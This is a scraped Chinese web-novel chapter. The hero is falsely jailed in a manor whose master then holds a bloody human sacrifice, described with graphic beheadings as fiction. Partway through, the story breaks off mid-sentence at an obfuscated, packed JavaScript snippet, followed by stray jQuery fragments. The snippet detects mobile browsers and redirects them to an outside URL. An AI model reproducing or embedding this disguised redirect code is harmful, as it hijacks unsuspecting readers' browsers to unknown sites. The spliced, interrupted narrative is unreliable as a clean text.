默认冷灰
24号文字
方正启体

10. 接不归(1)

作者:桃良想本书字数:K更新时间:
    棺材铺留守的人并不知道许慕臻捅了大篓子,各自忙手里的活儿,许慕臻独自在柴房睡了一夜。但鸡鸣时分,他们团团围住他,“你还敢回来?”


    许慕臻心一沉,明知故问:“我怎么了?”


    “你偷拿了六韦花山庄的龟甲洛书是不是?县司贴了逮捕令,派三个不良人抓你,赏钱五十贯!”


    许慕臻皱眉:“我没拿。”


    湛立威自然知道他没拿,这件文物根本不在山庄,也许不存于世。缉拿盗贼的名目,完全为了尽快抓获许慕臻。


    龟甲洛书是上古伏羲氏的心血结晶,洛书图谱含天下至道,明其旨可成万事,一说拼齐所有龟甲可得伏羲氏的财富。龟甲洛书本身对江湖人的吸引,更在赏金之上。


    棺材铺老板给一名不良人引路,老远指着许慕臻喊:“就是他!”


    捷足先登的不良人,大家叫他黎率,他是功夫最好且给够钱就最勤奋的。


    他穿着玄色半臂,整具躯体似饱满强硬的弓,肌肉硬实的胳膊,舒张都带着热量,皮肤晒成了古铜色,高高凸起的隆准,一双深凹的桀骜不羁的眼。


    还未交手许慕臻就看出他不好对付。


    黎率放出腰间绳索隔空打牛,早结好的圈套缚住许慕臻,他一用力,绳套收紧,不费吹灰之力就抓住人。


    他这手艺研究了一个月,出手必制人,练得炉火纯青。许慕臻还没开打就被擒了,看了看被缚的双手,郁闷地跟上他的脚步。


    黎率把许慕臻押回山庄,让司阍去通报,他嚼着根无滋无味的秸秆蹲在大门台阶上,被日头刺痛的双眼眯成一条缝,秃鹰一般审视猎到的美味,“小子,龟甲有什么好偷的?”


    “所以我没偷。”


    “得,得。”黎率没耐心地摆摆手。


    他抓过的贼,十之八九擅长装可怜,这套对他不管用。


    许慕臻冷笑一声,也不解释,一同坐在台阶上注视车水马龙的街衢。


    街上行人看着这清闲静坐的少年,没把他想成一个贼,而把他当成不拘常法的公子。


    某日兴之所至,偷片刻浮生。


    司阍捧来十贯钱,这是承诺金额的五分之一,剩下的要核对人无误才给付,他要把许慕臻带走核对。


    黎率啐掉秸秆,“让庄主过来看!钱不付凭什么把人带走?”


    司阍连作数揖,“庄主忙于庶务,还要会客,脱不开身。”


    黎率炮仗脾气,狠狠砸了砸大门嚷道:“山庄没别的人认识这个贼吗?”


    “······少庄主兴许认识,但他正罚禁闭,任何人不能见。”


    连湛谦也未能幸免,这位庄主到底把金蚕看得多重要?


    黎率挥出一巴掌,扇得司阍连滚带爬,“少庄主关在哪?我亲自问去!”


    “不行,庄主吩咐过了。”司阍拳脚尚佳,才能为六韦花效劳,但面对人拽路子野的黎率,就像只乳毛未换的鸡崽。


    “死狗奴,罗里吧嗦个没完。”


    黎率走得不远,六韦花山庄的家仆鱼贯而出,持棒持棍列阵。黎率骂骂咧咧,打退轮番攻击还能腾出手拖拽许慕臻,怕他逃走。


    这些家仆尽是精壮汉子,即使不敌黎率也无大碍,迅速回归阵位中,故而黎率翻腾了许久,没讨到一分便宜。


    许慕臻好整以暇地看着,面对黎率的怒目晃了下被捆缚的双手,假惺惺摇头叹气。


    突然,水泄不通的迎敌阵当中分开一条道路,家仆齐声道:“庄主!”


    黎率蹬腿踹倒许慕臻,后者扑在小道路口。


    月白丝鞋掩在委地逶迤的玄色鹤氅下,一只鞋轻盈地后退半步,此人高大雄阔,戴着青铜兽纹面具,竹编笠帽,双手套着长及小臂的金丝软甲。


    望去如出土的墓葬,封尘数年的战俑,感受不到一丝活人气息。


    他是湛立威的贵客?这具皮囊下是人是鬼都难以分辨。


    许慕臻颈间一疼,原来是软甲包覆的手击出弹丸,正中自己穴道,他便人事不省。


    许慕臻在不谐和的哀嚎声中醒来,一边是男人们哼哼唧唧,一边是女人们哭哭啼啼。


    这是六韦花山庄的私牢,平时用不上,所以面积不大,阴冷不透光,好在干燥清洁,甚至比柴房宜居。


    许慕臻以其罄竹难书的恶行博得庄主器重,分在单独的隔间,一侧是乌泱泱的棺材铺打杂,一侧是从容趺坐的湛谦。


    湛谦目光放空,虚浮地定在对面,对面是花绮麓一众。私牢里关进了牵涉金蚕蛊的所有人。


    “你怎么也没逃掉?”湛谦问道。他转过脸,许慕臻才看清他皴裂苍白的唇,几缕乌发脱垂于髻外,而他们分别不过一晚。


    这一贯澹然的公子低声说:“是我的错。”


    骨节分明的手颓唐地捂住双眼,无法原谅自己。


    关在地牢的人,每声细不可闻的呜咽都是对他的控诉和诅咒,从晚夜到黎明,从破晓至孤星。


    “你爹······尊君什么打算?”许慕臻问。


    湛谦一颤,手挪开,神色雾茫茫的,“他要举行活祭,饮牛津的客人一走就办。”


    “饮牛津的客人?是谁?”许慕臻震惊。


    湛谦设想对方关注的是前半句,微微意外,“饮牛津的稼穑使。”


    “稼穑使是谁?”


    许慕臻拍了拍头,绞尽脑汁还是想不起关于这个名字的雪泥鸿爪,他从未听说饮牛津有如此角色。


    湛谦说:“稼穑使是饮牛津的中书令,位列五使之首,但此职位往往因德才不足选不出人,或功高震主而被猜忌,所以饮牛津虽设其位,少有其人。许寄北这一代,稼穑使是上届教主任命的柳五,他离开扬州以机关术为生,正是他设计了山庄秘道,这次来是为了修缮。”


    当年教主之争,柳五算一号人物,但泉州他影响了了,连容赦都不曾提及。


    纯属多心,许慕臻竟觉得那尊麻木不仁的俑像下面是熟悉的人,点了自己的穴道避免相认。


    “你和饮牛津什么关系?”湛谦自始至终关注他微妙的表情。


    许慕臻权衡一刻,坦承:“我是饮牛津弟子,出自泉州分舵。”


    答案与预料相距无多。


    湛谦发现,许慕臻无论身处何境,总表现出拒人百里的戒备和水来土掩的镇静,那是常年枕戈待旦的习惯,以及对自己的实力拥有信心的表现,他的武功应当不错。


    湛谦:“现在你是否愿意关心下活祭?”


    许慕臻反问:“不是有秘道吗?”


    湛谦抿了抿唇:“这里不通。”


    许慕臻摇动二人间的铁栅栏,望向牢不可破的四壁,问道:“什么时候?”


    “我猜母亲发丧前,三日之内。”


    不过一会儿,黎率被十几个人押进来。他仗恃武功高强,和家仆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15205252|165766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缠斗了三百回合,让只闻哭闹的牢房看了好几场精彩的扑杀大戏,最终败在体力不支上。


    他被塞进湛谦旁边,最里角的单人牢房。


    黎率加入后,哭闹声噪了一倍不止,棺材铺元老都对他的嚎哭甘拜下风。他还吃得特别多,吃不饱就抢对门花绮麓的饭。


    宛洛因是新人而受排挤,再被黎率盘剥,只能挨饿。湛谦留半碗饭不沾筷箸,巧巧推到黎率够不到的宛洛手边。


    少女初时一愣,抬眼望去,湛谦已老僧入定。


    三七亦在棺材铺的栅栏里受欺负,许慕臻把他叫到近前,分出饭给他。三七捧着最破的碗,扑簌小鹿一般的眸子,许慕臻以为不够,又补夹了些,三七没接。


    “他们说你偷东西,怀疑我们窝藏,搜我们的身。”


    牢房的人不知湛谦有何过错,咒骂的都是许慕臻。


    “乞索儿”“短命鬼”“狗彘”,他们把无妄之劫推给同样无辜的人,撒一撒被命运长期蹂躏的不满。


    许慕臻听多了,所以他没有反驳,没有解释。


    许慕臻做好心理准备,准备迎接三七的任何话,只要听遍人世间最尖酸讥诮的言辞,这颗心会刀枪不入百毒不侵。


    三七说:“你自己的都分给别人,怎么会偷呢?”


    全力准备的甲胄没有对抗到尖利的矛尖,化在温柔里。这时他想起,久到记不清的年岁里,他也在等待一份信任。


    他把一碗饭微斜着穿过栅栏搁到三七手里,头扭向一侧,“你吃吧,我不太饿。”


    第三日,饭菜十分足量,连黎率都吃饱了。湛、许心领神会,三七也若有所感,抱着花盆抽搭。


    活祭在别院举行,玉像移去后院落空荡荡的,除两位庄主只有七个心腹家奴协力。


    祭品从地牢带出来,蒙着眼,耳朵听着动静。


    羸弱的金蚕贴伏在白沙中,湛立威向它敬香叩拜,然后奉上三牲珍猎、点心果品,仪式郑重,但为掩人耳目,不作任何颂祷。


    他拖过湛谦,铁着脸将一柄长剑横在独子颈上,“竖子知错?”


    湛谦未被蒙眼,望着祭坛百感交集,“知错。”


    湛立威一刀削破他颈上皮肉,伤不及要害,家奴抛出一只裹红布的猪头替代献祭。


    做父亲的狠狠补上一脚,“滚到一边,虔心侍奉!”


    他毕竟舍不得独子,湛谦希望他的慈悲亦能惠泽其他人。


    家奴推出棺材铺和花绮麓的杂役,七名心腹和湛立威兄弟二人手持长刀立在祭品前,庄主发令“供奉”,九人手起刀落,人头落地,血溅八方。


    人头以帕覆面,铜盘托呈。


    尚活着的都听出刀落声不同寻常,有的人淋得浑身血污。棺材铺的一同叩地哀求,他们哭丧过活,没想到有一天竟会哭到自己的丧。花绮麓女子众多,失声哭叫的立时斩杀。


    所有人在恐惧下噤声,处决三轮,院子已变成腥腥血海,屏风上的山水蒙着红翳,还不断低落红珠,诡谲地映出院内灭绝人寰的残杀。


    这一轮九人包括黎率和三七。


    黎率破口大骂:“干什么?老子为六韦花出力,半个晚上就抓到人!老子在不良人也是顶尖尖,凭什么受这腌臜气!湛立威你过来,与老子一较高下!”


    他被家奴踢中,两人按住他,另一个全力砍向他脖子,哪知黎率一缩躲过,眼罩亦脱落下来,看到一切。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)